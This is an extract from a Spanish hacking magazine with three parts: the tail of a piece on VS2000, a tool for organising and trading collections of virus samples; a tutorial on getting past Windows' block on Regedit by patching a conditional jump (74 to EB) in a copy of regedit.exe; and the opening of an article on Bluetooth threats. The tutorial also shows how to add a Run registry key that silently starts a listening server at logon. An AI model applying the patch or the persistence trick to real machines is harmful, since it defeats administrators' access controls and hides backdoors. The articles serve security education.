Manage Files: En esta opción encontraremos algunas posibilidades, desde mover archivos, definir un directorio de destino o desactivar la extracción de ficheros comprimidos. Delete Files: Permite borrar archivos a partir de un log. Una gran utilidad de eso es la posibilidad de borrar nuestros virus duplicados mediante el log realizado con la aplicación comentada en Process with logs. Real Duplicate Remover : Realiza una comparación entre un log de F-Prot y AVP (Kaspersky) para comprobar cuales están realmente duplicados. Pack Request: Nos hace un archivo zip con los virus que otro trader nos ha pedido, lógicamente nos lo realiza mediante el log que el otro trader nos envíe con el pedido de virus que el nos realice. Extensión Renamer: Nos renombra las extensiones a sus extensiones reales, por ej. si tenemos un archivo *.XXX y su extensión real es *.EXE, VS2000 detecta eso y nos pone la extensión real, las extensiones desconocidas pasarán a ser *.VIR, una extensión neutra. A la vez dispone de la posibilidad de hacer un

www.hakin9.org







archivo BAT para que nos haga esa tarea, en lugar de que VS2000 nos la haga. List of extensions: Pues como se indica, no crea una lista de todas las extensiones de los archivos que hay en cierto directorio, pero eso si, todas distintas, si encuentra una extensión que ya esta en la lista, no la vuelve a poner. Find 0 bytes files: Busca archivos de 0 bytes, archivos que aparentemente son normales, pero que no contienen nada. Delete empty directories: Nos busca directorios vacíos y los elimina.

Weed Files

Se trata de algo parecido a la pestaña Virus Databases pero en lugar de utilizar archivos logs, utiliza archivos crc32 o md5. CRC32 en español seria Código de Redundancia Cíclica y se utiliza principalmente para detectar y corregir errores en archivos. CRC32 realiza un cálculo de los archivos mediante cierto algoritmo, y le da un nombre, por lo tanto, no existen dos archivos iguales con distinto nombre de CRC32. El caso de MD5 sería similar. Esto es de gran utilidad para evitar tener virus duplicados. Como podréis ver, dentro de VS2000 existen muchísimas aplicaciones para conseguir tener una colección lo más depurada posible. Las opciones que podemos encontrar en esta pestaña son: Create database, Add files hot database, Check for duplicated files y Create log with new files. En este apartado no nos pararemos mucho, puesto que las opciones son similares a las comentadas anteriormente,

Figura 2 Manage Files

Figura 3. Weed Files

13

Herramientas

solo cambia el modo de operar, que puede ser desde un log, o como en ese caso, desde un archivo CRC32 o MD5.

Fake/Goat Scanner





Como va siendo normal, otra aplicación para depurar nuestra colección. Es muy importante mantener nuestra Herramientas colección libre de fakes o basura y para ello esta herramienta es la apropiada. Además, su autor va actualizando la base de datos de fakes, para así no tener problemas a la hora de eliminarlos. Entre las opciones que encontraremos están la de escasear fakes en archivos, desde un log, escasear basura desde archivos o desde un log al igual que con los fakes. En este apartado tampoco nos detendremos mucho puesto que es sumamente sencillo.

Virus Organizer

Sin duda una de las herramientas mas importantes, ¿Qué sería de una colección desorganizada? Desde aquí podemos organizar nuestra colección a partir de un log. Podemos elegir entre 5 tipos distintos de organización, además de tener la posibilidad de comprimir los archivos, mover archivos, o en su defecto copiarlos. Los tipos de organización son los siguientes: •

Bulk Style: C:\VIRUS\0\04\04ABC903.EXE: Usa CRC32 o MD5 para nombrar los archivos.

Figura 4. Estadísticas de la colección





Collection Maker Style: C:\VIRUS\J\ Jerusalem.1808.a\A456725F.COM: Se basa en KAV para nombrar y organizar los archivos. Create Directories: C:\VIRUS\AVP\J\Jerusalem\ 1808\a\0456ADEF.COM: Muy parecido al anterior, pero de una forma mucho mas esquematizada. Virus Name: C:\VIRUS\J\Jerusalem.1808.a.COM: Basado en el nombre de los virus y ordenado en carpetas del 0-1 y A-Z. Virus Types: C:\VIRUS\Win32\2FA67211.EXE: Se basa en el tipo de virus para realizar la organización.

Virus Explorer

Nos muestra una lista con el nombre, según KAV y FProt, de todos los virus de nuestra colección y al lado la dirección donde se encuentran. Realmente solo hace eso, así que pasemos a la siguiente pestaña.

Stats

Desde aquí (Figura 4) podremos observar, de forma gráfica y para cada una de las bases de datos de cada logs, las estadísticas de nuestra colección. Podremos saber el número de virus totales y únicos que poseemos así como el porcentaje de virus y de warning, generics, que poseemos. Vamos a hacer algunas aclaraciones sobre esto. A lo de virus únicos y totales, veréis, hay veces en las que un archivo contiene un único virus, pero en otras ocasiones un solo archivo, puede contener varios virus, un ej. puede ser un archivo *.txt donde poseamos los códigos fuente de varios virus, otro puede ser un archivo *.exe resultado de unir dos virus mediante un joinner, por lo tanto, virus totales serían el total, y virus únicos serían aquellos en los cuales un solo archivo contiene un único virus. A lo de warning o generics veréis, normalmente KAV detecta los virus como Infected:, pero en otras ocasiones hace una llamada a un virus mediante Warnings o advertencias, eso quiere decir que probablemente ese archivo sea el virus X, pero no con exactitud. Al igual RAV, NOD o F-Prot tienen sus peculiaridades a la hora de detectar virus, y son recogidas de forma gráfica en esta pestaña. Bueno, pues aquí acaba la explicación de esta magnifica herramienta, aunque VS2000 esconde muchas más utilidades, como puede ser la de un servidor FTP, es un scan de puertos, contiene una librería donde encontrar información sobre todas las e-zines de información vírica, información sobre Constructor kits o laboratorios de virus e información sobre otras utilidades víricas, permite tener nuestra propia base de datos sobre traders, y un sin fin de utilidades más. The BlooD [email protected]

Figura 5. Página oficial de Virus Trading Center

14

www.hakin9.org

Registro de Windows Ataque Víctor López Juárez

Grado de dificultad

Albert Einstein una vez dijo: La formulación de un problema es más importante que su solución. Un administrador de equipo como fundamento de seguridad prefiere denegar el acceso al Editor del Registro a todo usuario que no forme parte de su grupo.

S

in embargo haciendo uso de ésta restricción de acceso brindada por Windows no considera las consecuencias prácticas que puede llegar a obtener un atacante si elude dicha restricción. Primero explicaremos qué es el Registro de Windows: el registro está conformado por una serie de archivos, anteriormente en las versiones de Windows 3.x el registro se guardaba en archivos con extensión .ini, más tarde en las ediciones Windows 9x el registro de Windows se denominaba User.dat y System.dat mientras que en Windows Me estaba conformado por Classes.dat, User.dat y System.dat. En Windows XP para localizar los archivos que conforman el Registro debemos acceder a la siguiente ruta dentro del disco local, en que fue instalado el sistema, comúnmente en C: \Windows\System32\Config, dentro de ésta carpeta encontraremos varios archivos que corresponden a nuestro registro, también llamados Hives No todos los archivos que componen el registro de Windows están ubicados dentro de esta carpeta, también existen Hives o claves que contienen subclaves y valores ubicados en las carpetas de cada usuario las cuales guardan

16

las configuraciones personales de cada cuenta, como por ejemplo el archivo ntuser.dat que corresponde a la clave HKey _Current_User.

Abriendo el Registro

Intentaremos abrir el registro de Windows, en esta ocasión lo haremos ingresando a la clave HKEY_LOCAL_MACHINE\Software desde su ubicación en C:\Windows\System32\Config\ Software. Podemos percatarnos que el archivo Software no tiene extensión, lo que nos indica

En este artículo aprenderás... • • •

Qué es el Registro de Windows y su editor, Cómo implementar seguridad sobre el registro de Windows, Cómo atacar el Editor del Registro de Windows.

Lo que deberías saber... • •

www.hakin9.org

Bases de programación en lenguaje ensamblador, Poseer conocimientos básicos sobre administración de sistemas Windows.

Registro de Windows

que carece de un programa asociado por medio del cual se pueda ejecutar, para solucionarlo hacemos doble click sobre el archivo, escogemos la opción Seleccionar el programa de una lista y por ultimo optamos por WordPad, como resultado veremos lo siguiente (Figura 1). Es evidente que la aplicación WordPad no es la adecuada para manipular el registro, para ello Windows creó el Editor del Registro (Regedit.exe) mediante el cual es posible acceder al registro y modificarlo bajo un entorno dinámico y jerárquico muy parecido al propio Explorador de Windows. Aunque el Editor del Registro permite inspeccionar y modificar el Registro, normalmente no necesitaremos hacerlo. Microsoft no garantiza solucionar los problemas resultantes por el uso incorrecto del Editor del Registro, así que utilizaremos esta herramienta bajo nuestra responsabilidad.

El Editor del Registro (Regedit.exe)

Los administradores del sistema pueden modificar el Registro a través del Editor del Registro (Regedit.exe o Regedt32.exe), directivas de grupo, directivas del sistema, archivos de Registro (.reg) o mediante la ejecución de secuencias de comandos (por ejemplo, archivos de comandos de Visual Basic o archivo de lotes .bat). El Editor del Registro esta ubicado en el directorio del sistema C: \Windows\Regedit.exe, al abrirlo encontraremos un área de exploración organizada en carpetas, cada carpeta representa una clave predeterminada del equipo local, cuando

Tabla 1. Claves de configuración personal Sección del Registro

Archivos en C:\Windows\System32\ Config

HKEY_LOCAL_MACHINE\SAM

Sam, Sam.log, Sam.sav

HKEY_LOCAL_MACHINE\ Security

Security, Security.log, Security.sav

HKEY_LOCAL_MACHINE\ Software

Software, Software.log, Software.sav

HKEY_LOCAL_MACHINE\ System

System, System.alt, System.log, System.sav

HKEY_CURRENT_CONFIG

System, System.alt, System.log, System.sav, Ntuser.dat, Ntuser.dat.log

HKEY_USERS\DEFAULT

Default, Default.log, Default.sav

se obtiene acceso al Registro de un equipo remoto, sólo aparecen dos claves predefinidas: HKey _Users y HKey _Local_Machine. A continuación veremos las claves predefinidas utilizadas por el sistema (Tabla 2). Estas claves o también llamadas Hives se inician juntamente con el sistema operativo, el cual utiliza constantemente el registro de Windows, esto parece ser lógico tomando en cuenta que éste debe mantenerse actualizado por los cambios dinámicos que pueden surgir al momento de utilizar el sistema, por ejemplo si deseamos renombrar el icono llamado Mi PC por Hakin9, basta por renombrarlo una vez y en los próximos inicios de sesión el icono ya aparecerá renombrado sin necesidad de guardar los cambios en el sistema, pues el registro lo hace por nosotros. Tomando en cuenta el grado de importancia que adquiere el registro de Windows para el sistema operativo puede ser blanco de ataques o de backups enteros sin autorización, el

¿Qué es el Registro de Windows?

El Registro de Windows conforme el Microsoft Computer Dictionary es definido de la siguiente manera: Una base de datos jerárquica central utilizada en Microsoft Windows 9x, Ce y NT con el fin de almacenar información necesaria para configurar el sistema para uno o varios usuarios, aplicaciones y dispositivos de hardware. El Registro contiene información que Windows utiliza como referencia continuamente, por ejemplo los perfiles de los usuarios, las aplicaciones instaladas en el equipo y los tipos de documentos que cada aplicación puede crear, las configuraciones de las hojas de propiedades para carpetas y los iconos de aplicaciones, los elementos de hardware que hay en el sistema y los puertos que se están utilizando.

www.hakin9.org

usuario que logre acceder al editor del registro puede llevarse consigo bastante información relevante sobre las características de nuestro sistema. La idea de que si accedemos a otro sistema y copiamos el Editor del Registro de Windows ubicado en C: \Windows y lo trasladamos al nuestro obtenemos el contenido del Registro de Windows, es equivocada. Cuando ejecutemos el Regedit.exe que trajimos del otro sistema accederemos inmediatamente a nuestro Registro. Debemos recordar que el Editor del Registro es simplemente una herramienta que permite realizar modificaciones en el Registro de Windows, llevando el Editor (Regedit.exe) de un ordenador a otro únicamente estaremos trasladando dicha herramienta y no el contenido del registro de Windows de cada sistema, como podría pensarse. Ahora bien si entramos en un sistema como usuario restringido y conseguimos acceder al Editor del Registro (aquí lo aprenderás incluso si el administrador del equipo es precavido y previamente denegó el acceso al Editor) fácilmente podremos exportar todo el contenido del registro de Windows y llevarlo a nuestro sistema para examinarlo detenidamente. Para lograrlo, simplemente debemos estar dentro del Editor, dirigirnos al menú Archivo > Exportar. Luego en el recuadro llamado Intervalo de Exportación en lugar de seleccionar la opción predeterminada escogemos Todos, finalmente asignarle un nombre al archivo y guardarlo.

17

Ataque

Tabla 2. Las claves utilizadas por el sistema Carpeta o clave predefinida

Descripción

HKEY_CURRENT_USER

Contiene la raíz de la información de configuración del usuario que ha iniciado la sesión. Aquí se almacenan las carpetas de usuario, los colores de pantalla y la configuración del Panel de control. Esta información se conoce como perfil de usuario.

HKEY_USERS

Contiene la raíz de todos los perfiles de usuario del equipo. HKEY_CURRENT_USER es una subclave de HKEY_USERS.

HKEY_LOCAL_ MACHINE

Contiene información de configuración específica del equipo (para cualquier usuario).

HKEY_CLASSES_ROOT

Es una subclave de HKEY_LOCAL_MACHINE\ Software. Aquí se almacena la información que asegura que se abre el programa correcto al abrir un archivo con el Explorador de Windows.

HKEY_CURRENT_CONFIG

Contiene información acerca del perfil de hardware que utiliza el equipo local al iniciar el sistema.

Restringiendo el acceso y escritura sobre el registro de Windows

Una de las características de seguridad importantes en la serie Windows NT permite que el administrador del sistema pueda conceder – o no – el acceso a las claves del registro a través del editor del registro (Regedit.exe). Los permisos de escritura sobre el registro comprometen al sistema operativo de tal manera que en muchas ocasiones son imprescindibles estos permisos para realizar ataques contra el sistema. Por ello es importante también conocer prácticas de seguridades fáciles y eficaces, capaces de implementar en nuestros sistemas. Dentro del editor del Registro la administración de seguridad sobre las claves y subclaves es relativamente sencilla, solo basta con elegir

la clave que deseamos configurar, click derecho y seleccionar la opción Permisos. (Figura 2 y 3). De esta manera cualquier administrador del sistema puede otorgar permisos de escritura, agregar usuarios o grupos a la lista de permisos, asignar permisos a una clave, conceder control total a una clave, asignar accesos especiales, auditar la actividad de una clave, agregar usuarios o grupos a la lista de auditoría, tomar posesión de una clave, establecer controles de lectura, etc.

¡Nadie me toca el registro!

Como una opción de seguridad más, el administrador puede restringir el acceso al editor del registro a los usuarios que no forman parte del grupo de administradores del equipo, con la finalidad de impedir que cualquier usuario altere el sistema

Figura 1. Word Pad no es una buena aplicación para abrir un registro

18

www.hakin9.org

Figura 2. Cómo obtener un permiso de escritura, parte 2

Figura 3. Cómo obtener un permiso de escritura, parte 1 ya sea con buenas o malas intenciones. Para lograrlo debemos localizar la siguiente clave desde el editor del registro HKEY_CURRENT_USER/ Sof t ware / Microsof t / Windows / CurrentVersion/Policies/System en la ventana de la derecha creamos un nuevo valor DWord llamado DisableRegistryTools, damos doble click sobre él y le colocamos el valor 1. De esta manera la modificación del registro de Windows quedará deshabilitada para el usuario actual. Al intentar abrir el editor del registro veremos lo que aparece en la Figura 4. Esta es una manera de bloquear el acceso al registro, aunque no es la única, otra forma de lograrlo es

Registro de Windows

eliminando el propio Editor del Registro (Regedit.exe) de la carpeta de su ubicación C:\Windows, así el usuario que acceda al sistema y carezca de privilegios difícilmente podrá editar el registro al no encontrar la herramienta destinada para ello. Aunque pueda parecer lo contrario, la eliminación del regedit.exe no llevará al colapso del sistema, ya que no se elimina el registro de Windows (el cual está mayormente constituido por los archivos ubicados en C:\Windows\system32\ config) sino que únicamente prescindimos de la herramienta que lo edita. Aun si deliberadamente intentamos borrar los archivos que constituyen el registro de Windows ubicados en C:\Windows\system32\config, el sistema operativo lo impediría dada la importancia de los mismos.

Consecuencias de la escritura sobre el registro

La escritura sobre el registro de Windows permite gestionar y personalizar el sistema operativo sin ningún problema, de hecho es una posibilidad exclusiva dada a los administradores del sistema, la cual puede ser también otorgada a los usuarios invitados. Otra posibilidad simple que genera la escritura sobre el registro, es la capacidad para instalar programas. Cualquier programa al instalarse usualmente crea, modifica o elimina claves y subclaves dentro del registro de Windows, durante ese proceso de instalación también comprueba ciertos valores en el registro (ese es el punto débil que atacaremos más adelante) dependiendo de esos valores y ciertas

Ejemplo Práctico

En este ejemplo colocaremos la palabra Hakin9 en el menú contextual de los archivos con extensión txt, de tal manera que si escogemos la opción Hakin9 se abrirá el archivo en el programa Notepad.exe tal y como sucede comúnmente. Para lograrlo, dentro del editor del registro localizamos la siguiente clave Hkey _ Local_Machine\Software\Classes\textfile\shell\open. En la ventana de la derecha ya existe un valor alfanumérico llamado Predeterminado, hacemos doble click sobre él y lo nombramos Hakin9 Ahora cuando hagamos click derecho sobre los archivos *.txt en lugar de ver la opción convencional llamada Abrir veremos Hakin9 (Figura 5). Este es un claro ejemplo de cómo es posible personalizar la configuración de usuario, a través de la escritura sobre el registro de Windows.

características de seguridad el aplicativo podrá ser instalado. El usuario que carece de privilegios no podrá instalar correctamente aplicaciones. De modo que a través de las consecuencias prácticas que conseguimos al editar el registro de Windows mediante el regedit.exe obtenemos mayores logros que si nos limitáramos a personalizar el sistema operativo a través de las pocas opciones que éste nos brinda. Sin embargo, siempre es recomendable conocer el área del registro que deseamos modificar, porque los cambios incorrectos pueden dañar el sistema. Desde el punto de vista de un atacante, poseer permisos de escritura sobre el registro le otorgan ciertas ventajas, como por ejemplo instalar troyanos o servidores maliciosos y dejarlos a la escucha de cualquier puerto o ejecutarlos en segundo plano cada vez que arranque el sistema, inclusive si el administrador inicia el sistema en modo a prueba de fallos un troyano dependiendo de la clave del registro en la que fue asociado, se ejecutará de modo invisible. Si poseemos permisos de escritura sobre el registro de Windows podemos realizar un sin número de acciones que terminarán alterando el sistema operativo, estás acciones dentro del registro pueden ser desde las más básicas hasta las más peligrosas capaces de poner en peligro la seguridad del sistema.

Crackeando el registro como usuario sin privilegios

Figura 4. El acceso al registro bloqueado

Figura 5. Cómo personalizar las configuraciones del usuario

www.hakin9.org

Las restricciones de seguridad del registro de Windows son escasamente eficientes. El punto débil que nos permite explotar la siguiente vulnerabilidad y acceder al editor del registro, es el propio sistema de protección utilizado por los desarrolladores de Windows, en particular la opción a través de la cual es deshabilitado el acceso al editor del registro (Figura 4) es una práctica poco recomendada por los desarrolladores de software comercial, dada su relativa facilidad para ser vulnerada por los atacantes.

19

Ataque

Cuando se accede a un sistema como usuario invitado de manera predeterminada carecemos de permisos para escribir sobre el registro, a menos que el administrador haya decidido lo contrario. Las causas principales por las que un administrador de equipo decide deshabilitar el acceso al editor del registro y consecuentemente la escritura sobre éste, son impulsadas mayormente por razones de seguridad, las cuales le brindan una ventaja al propio sistema, ya que se adquiere un mayor grado de confianza en relación a su uso. Es por ello que para explotar la vulnerabilidad a la que puede estar expuesto el editor del registro a través de la restricción de acceso, debemos ingresar a un sistema Windows XP en calidad de usuario restringido, es decir sin permisos de acceso y escritura en el registro de Windows. Antes de empezar debemos verificar que el acceso al editor del registro ha sido deshabilitado por el administrador (Figura 4). Ahora debemos crear una carpeta en el directorio C:\ llamada Hakin9, luego copiamos el regedit.exe de la carpeta del sistema (C:\Windows) y lo pegamos en la siguiente ubicación C:\hakin9. Esta copia que recién acabamos de crear nos brinda seguridad, debemos tomar en cuenta que siempre es recomendable trabajar sobre una copia del programa y no sobre el original, dadas las equivocaciones en

que podríamos incurrir al momento de modificar el código del programa.

Atacando el Registro de Windows ¡Vamos a la Práctica!

Cuando un programador decide crear cualquier aplicación tiene la opción de hacerlo a través de diferentes lenguajes de programación, ya sea alto, mediano o bajo nivel, la categoría del nivel de programación depende de los recursos del sistema que utiliza el lenguaje y el programador para realizar la aplicación. Cuando finaliza el proceso de creación de una aplicación, se compila (convierte a unos y ceros) y se genera un archivo ejecutable de extensión .exe, los cuales a su vez pueden ser traducidos a un lenguaje de programación de bajo nivel, como por ejemplo lenguaje ensamblador, independientemente del lenguaje de programación original con que hayan sido creados. Sin embargo, existen aplicaciones que son empaquetadas (como sistema de protección) con el motivo de evitar que sean traducidas a lenguaje ensamblador, en otros casos la conversión al lenguaje ensamblador de un programa del cual no somos propietarios es ilegal. Si abrimos alguna aplicación exitosamente para debugearla en lenguaje ensamblador y manejamos conocimientos de este lenguaje, podremos modificar el código del

programa a nuestro favor, en este caso abriremos el editor del registro y eliminaremos la protección que nos impide su acceso, de esa manera tendremos a nuestra disposición el registro de Windows. Una utilidad que nos permite abrir un programa y explorar su código en lenguaje ensamblador es W32dasm, este programa no necesita instalación así que como usuario restringido no tendremos ningún problema en abrirlo, dentro de W32Dasm nos dirigimos al menú Disassembler y seleccionamos la opción Open File to Disassemble y abrimos nuestra copia del Editor del Registro desde C:\hakin9\regedit.exe, W32Dasm comenzará a desensamblarlo y al terminar veremos el código en lenguaje ensamblador. De esta manera podemos percatarnos como aún con el bloqueo

Acceder como un usuario restringido

Si prefieres acceder como usuario restringido desde tu ordenador lo puedes hacer ingresando desde la cuenta de Invitado. Para activarla debes ir a Inicio>Panel de Control> Cuentas de Usuario> Invitado> Activar la cuenta de Invitado.

Registros del procesador

El procesador necesita de ayuda al momento de realizar sus tareas, como por ejemplo ejecutar programas, los registros lo ayudan precisamente en eso. Cuando el procesador necesita sumar posiciones de memoria las dirige a un registro para realizar operaciones, éstos a su vez varían dependiendo de las funciones específicas que fueron destinados a realizar.

OFFSET

Un offset sirve para designar inequívocamente una dirección de memoria conjuntamente con un segmento en algunas arquitecturas de microprocesadores.

Figura 6. La Ventana List Of String Data Items

20

www.hakin9.org

Registro de Windows

de acceso al regedit.exe es posible desensamblarlo sin inconvenientes. Una vez abierto el editor del registro en W32Dasm podemos observar tres columnas diferenciadas, la primera representa la dirección de memoria en la que está la instrucción, la segunda columna contiene el código de la instrucción en sistema numérico hexadecimal, cuya base es 16, mientras que la tercera columna contiene el código en lenguaje ensamblador, el que modificaremos para evadir la protección. Ahora nos disponemos a buscar la cadena de texto que aparece dentro del mensaje que nos advierte sobre la restricción: El administrador ha deshabilitado la modificación del registro (Figura 4). Mediante W32Dasm podemos observar las cadenas de texto de un programa y las referencias a dichas cadenas. Si el editor del registro necesita hacer uso de una cadena de texto, no es necesario crear la cadena todas las veces que la vaya usar, sino que simplemente se hace referencia a la dirección de memoria donde se encuentra.

Figura 7. Los datos de Offset necesarios Es por ello que la cadena de texto que buscamos puede estar referenciada varias veces dentro del regedit.exe. Una vez identifiquemos la cadena de texto a buscar El administrador ha deshabilitado la modificación del registro, averiguaremos sus referencias. Para ello, teniendo abierto el Editor del Registro desde W32Dasm

Ejemplo Práctico

Una ejemplo simple orientado al hakin9 (haking) que podemos realizar fácilmente basados en lo aprendido en esta práctica, es abrir puertos cada vez que arranca el sistema sin que el administrador del equipo se de por enterado. Para lograrlo abrimos el editor del registro y localizamos la siguiente clave HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Run

En la ventana de la derecha creamos un nuevo valor Alfanumérico llamado Server (o como prefieras), damos un doble click sobre él y escribimos la ruta de la aplicaciónservidor que deseamos dejar a la escucha. De esa manera cada vez que el usuario inicie sesión lo hará también esa aplicación, más tarde podrás ejecutar el programacliente desde cualquier ubicación para establecer conexión.

¿Problemas?

En caso de que no puedas acceder correctamente al editor del registro de Windows, deberás revisar los pasos nuevamente, los errores que probablemente te impidan realizar esta práctica pudieron surgir por diversos motivos relativamente simples, probablemente la versión del registro de Windows que utilices sea diferente, (en este caso usamos la de Windows Xp Profesional) o equivocaste el salto condicional o no encuentras el offset correcto. En esos casos debes abrir la copia del regedit.exe desde W32Dasm ir al menú Refs, y el la ventana donde aparece la cadena de texto El administrador ha deshabilitado la modificación del registro, dar doble click mas de una vez sobre ésta y repetir el proceso desde ese punto en adelante hasta encontrar el salto condicional correcto, posteriormente es probable que tengas un offset distinto al de nuestra practica, pero en el editor hexadecimal solo debes verificar que el offset te dirija al 74 para modificarlo por EB.

www.hakin9.org

nos dirigimos al menú Refs, luego seleccionamos la opción String Data Referentes, para encontrar las cadenas de texto. Al borde inferior de la ventana List of String Data Items vemos la cadena de texto que estábamos buscando (Figura 6). Damos doble click una sola vez sobre la cadena de texto (en algunos casos deberíamos dar más de un doble click sobre esta cadena, hasta encontrar el salto condicional correcto), presionamos el botón Close y W32Dasm nos llevará a la esta dirección de memoria 01008AB4. Si continuamos haciendo doble click sobre la cadena de texto el programa nos llevará hacia otras direcciones de memoria, tantas veces como existan referencias a la cadena. Si nos dirigimos cuatro líneas arriba de la dirección 01008AB4 veremos dos instrucciones importantes marcadas de color azul, la primera test eax, eax, realiza una comprobación de estos registros, y emite un resultado booleano, es decir verdadero o falso, dependiendo de la comprobación resultante de los registros. Seguidamente vemos la instrucción je 01008ACA (Jump if is Equal) es un salto condicional que comprueba el resultado del test, si el resultado del test es igual, je salta hacia 01008ACA, de lo contrario el programa continua con el resto del código inferior a je. Lo que haremos

21

Ataque

Figura 8. Una pantalla de Win Hex – usuario restringido para evadir la protección que nos restringe el acceso al editor del registro es cambiar ese salto condicional JE por un salto incondicional JMP, de esta manera el regedit.exe al llegar a esa parte del código compara los registros y salta en todas las ocasiones, independientemente del resultado del test de los registros. Nos dirigimos hacia el salto condicional y hacemos doble click sobre él, vemos como se pinta una línea de color verde, seguidamente tomamos nota del offset que aparece abajo en la barra de estado @offset 00007EAEh in File: regedit.exe, la h al final indica que dicha cantidad esta representada en sistema hexadecimal. Por último anotamos por aparte el Offset ya que lo necesitaremos más adelante. Dentro de W32Dasm no es posible modificar de manera directa el código, desde cierto de punto de vista es ventajoso porque nos impide cometer errores al momento de alterarlo, por ejemplo si deseamos cambiar un salto incondicional de 2 bytes no debemos hacerlo por uno de 5 bytes por la instrucción CALL por ejemplo, sino por otro de la misma longitud. En este caso cambiaremos el je por jmp, es decir el 741A (la dirección que vemos en la segunda columna (Figura 7) por EB1A. Debemos acudir a otra herramienta para realizar las modificaciones necesarias en el código del regedit.exe. Un editor Hexadecimal, en este caso usaremos el WinHex,

22

este editor no precisa de instalación por lo que como usuario restringido no tendremos ningún problema en abrirlo. Seguidamente nos dirigimos al menú File > Open > C:\hakin9\ regedit.exe (Figura 8). Ahora tenemos a nuestra disposición el código del editor del registro de Windows en formato numérico hexadecimal. Una vez abierto, desde la posición inicial nos dirigimos al menú Position > Go to Offset… y en la opción New position colocamos el offset que obtuvimos en W32Dasm 00007EAE, finalmente presionamos OK. El editor hexadecimal nos dirigirá al offset que buscábamos, el cual contiene el salto condicional, (debemos estar seguros de aparecer en 74 1A), media vez hayamos encontrado el offset correcto colocamos el puntero en el 7 y lo modificamos tecleando EB, luego veremos como cambia a color azul. Finalmente solo resta guardar los cambios dirigiéndonos al menú File > Save > Yes. Y eso es todo amigos.

¡Misión Completa!

Solo basta comprobar que es posible acceder al registro de Windows ejecutando el regedit.exe desde C: \hakin9. Si ejecutamos el regedit.exe ubicado en C:\Windows aún veremos la restricción que nos impide acceder a él, la restricción continua porque las modificaciones únicamente han sido hechas a nuestra copia ubicada en C: \hakin9\regedit.exe, la que podremos trasladar a cualquier sistema operativo Windows Xp que tenga habilitada

www.hakin9.org

la restricción de acceso al editor del registro y evadirla simplemente ejecutando nuestra querida copia. Las consecuencias prácticas que obtenemos derivadas del acceso al editor del registro de Windows a través de esta práctica nos permiten tener la habilidad para modificar ciertos aspectos del sistema operativo, tales como la apariencia, accesibilidad, los colores, temas, el escritorio, teclado, mouse, sonido, protector de pantalla, configuración de la shell del sistema, información sobre el usuario actual, programas instalados, archivos temporales, información de la sesión de usuario, manejo sobre las aplicaciones que se inician al cargar el sistema, etc, etc.

Contramedidas

Implementar software específico que audite el registro de Windows de manera permanente evitando cualquier tipo de modificación sobre éste, de manera que deniegue los cambios realizados por cualquier usuario. Si establecemos este tipo de seguridad dentro del sistema y prevenimos su correcta funcionalidad, no será necesario hacer cambios en el registro de Windows de manera no prevista. Espero haberlos alertado sobre la relativa facilidad que puede tener un atacante para evadir la restricción de acceso al registro de Windows, cuando el administrador de equipo hace uso de las medidas de seguridad predeterminadas que nos ofrece Windows. l

Sobre el Autor

Víctor López Juárez es estudiante de la Universidad Rafael Landivar de Guatemala. Está interesado en los diversos temas sobre seguridad informática, actualmente es miembro de la Comunidad de Desarrolladores de código seguro de Microsoft, profesional certificado por parte de la empresa Intel Inside en temas como Web Services, Software Libre y Seguridad, y ex-integrante de la Academia Latinoamericana de Seguridad Informática. Durante sus tiempos libres participa en foros y comunidades de hackers, también desarrolla y diseña sitios Web.

¿Quieres recibir tu revista regularmente? ¿Quieres pagar menos?

¡Pide suscripción! por suscripción es más barata: www.hakin9.org/es

www.buyitpress.com

Pedido

69 €

Por favor, rellena este cupón y mándalo por fax: 0048 22 887 10 11 o por correo: Software-Wydawnictwo Sp. z o. o., Bokserska 1, 02-682 Varsovia, Polonia; e-mail: [email protected] Para conocer todos los productos de Software-Wydawnictwo Sp. z o. o. visita www.buyitpress.com Nombre(s) ......................................................................................... Apellido(s)........................................................................................ Dirección ......................................................................................................................................................................................................... C. P. ...................................................................................................

Población, provincia ........................................................................

Teléfono ............................................................................................

Fax ....................................................................................................

E-mail ................................................................................................ Suscripción a partir del N° ..............................................................

Precio de suscripción anual Absender-Daten de hakin9: 69 € Realizo el pago con: □ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) nO

Válida hasta □ transferencia bancaria a BANCO SANTANDER CENTRAL HISPANO Número de la cuenta bancaria: 0049-1555-11-221-0160876 IBAN: ES33 0049 1555 1122 1016 0876 código SWIFT del banco (BIC): BSCHESMM

Fecha y firma obligatorias:

CVC Code

Bluetooth – La Amenaza Azul Ataque Ezequiel Martín Sallis

Grado de dificultad

El Estándar Bluetooth, nacido en 1994 y formalizado en 1998 por el Bluetooth-SIG (Special Interest Group). La tecnología Bluetooth permite la comunicación inalámbrica, entre diferentes dispositivos que la incorporen sin necesidad de línea de vista y son el reemplazo esperado de la tecnología infrarroja.

E

l Estándar Bluetooth, nacido en 1994 y formalizado en 1998 por el Bluetooth-SIG (Special Interest Group), es una tecnología inalámbrica de bajo coste, que opera en la banda no licenciada de 2.4Ghz de frecuencia (la misma banda que utilizan algunos estándares de la tecnología 802.11). Básicamente posee cuatro canales, tres canales sincrónicos de voz (64 Kbps por canal) y un canal de datos asincrónicos. La velocidad de transmisión de los canales asincrónicos es de 723,2 Kbps mientras que la del canal asincrónico es de 433,9 Kbps. Existen hoy en día tres versiones de Bluetooth: • • •

Bluetooth Protocolo V1.1 No provee compatibilidad para coexistir con 802.11, Bluetooth Protocolo V1.2 (2003) Data Rate 1Mbps, Bluetooth Protocolo V2.0 +EDR (Enhanced Data Rate) (2004) Data Rate 3Mbps.

consumo de los equipos y que además permite ser incorporada en los teléfonos móviles y las PDA sin que afecte en exceso al consumo de sus baterías. La tecnología Bluetooth permite la comunicación inalámbrica, entre diferentes dispositivos que la incorporen sin necesidad de línea de vista y son el reemplazo esperado de la tecnología infrarroja. Sin embargo, la frecuencia en la que opera (2.4 Ghz banda no licenciada),

En este artículo aprenderás... • • • • • •

Lo que deberías saber... •

Uno de los hechos que hacen que esta tecnología sea de bajo coste, es la potencia necesaria para funcionar, tan sólo 0,1 vatios, que sin duda alguna reduce considerablemente el

24

Qué es Bluetooth, Cómo funciona esta Tecnología, Cuáles son sus aplicaciones más habituales, Cuáles son los riesgos, Cuáles son los ataques mas comunes, Algunas herramientas disponibles.



www.hakin9.org

Nociones Básicas de Comunicaciones Inalámbricas, Nociones Básicas sobre la tecnología Bluetooth.

Bluetooth – La Amenaza Azul

debió enfrentarse al temor elemental de cualquier comunicación inalámbrica, la interferencia, y a fin de superarla se implementaron las siguientes características: • •



